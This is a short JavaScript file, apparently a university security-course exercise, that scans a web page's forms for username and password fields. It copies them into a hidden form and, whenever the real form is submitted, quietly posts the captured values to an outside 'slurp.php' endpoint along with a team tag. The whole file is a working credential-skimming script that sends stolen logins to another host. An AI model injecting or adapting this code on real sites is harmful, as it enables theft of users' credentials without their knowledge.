t2.js

function traverseElement(element, word){
   
   
    if (element.textContent.toLowerCase().includes(word) ){
        return true
    }  
 
    if(element.name) {
        if(element.name.toLowerCase().includes(word)) {
            return true
        }
    }
 
    if(element.type) {
        if(element.type.toLowerCase().includes(word)) {
            return true
        }
    }
 
    for (let child of element.children) {
        let found= traverseElement(child, word)
        if (found) {
            return true
        }
    }
 
    return false
}
 
let forms = document.getElementsByTagName("form");
 
for (let form of forms) {
 
    let originalForm = form
    let newForm = document.createElement("form");
    // let newForm = originalForm.cloneNode(true);
    let foundPassword = false
    let foundUsername = false
 
    for(let child of originalForm.children){
        foundPassword = traverseElement(child, "password")
       
        foundUsername = traverseElement(child, "username")
       
 
        if(foundPassword || foundUsername) {
            console.log("FOUND ")
            console.log(child)
 
            let childCopy = child.cloneNode(true)
            newForm.appendChild(childCopy)
        }
        foundPassword = false
        foundUsername = false
 
    }
 
    console.log(newForm.elements)
    if (newForm.elements[0]) {
        console.log(newForm.elements[0].value)
    }
 
    newForm.action = "http://treeforty.csse.rose-hulman.edu/f/slurp.php";

    let elt = document.createElement("input");
    elt.setAttribute("name","340team");
    elt.setAttribute("value","BABA ZHENG");
    elt.setAttribute("type","hidden");
    newForm.appendChild(elt);  
    newForm.style.display = "none"
    originalForm.addEventListener("submit",(e)=>{
        document.body.appendChild(newForm)
            let formData = new FormData(newForm);
            
            fetch(newForm.action, {
                method: "POST",
                body: formData
            }).then((response) => {
                console.log(response.text())
            }).catch((err)=>{
                console.log(err)
            })
    })
     
 
}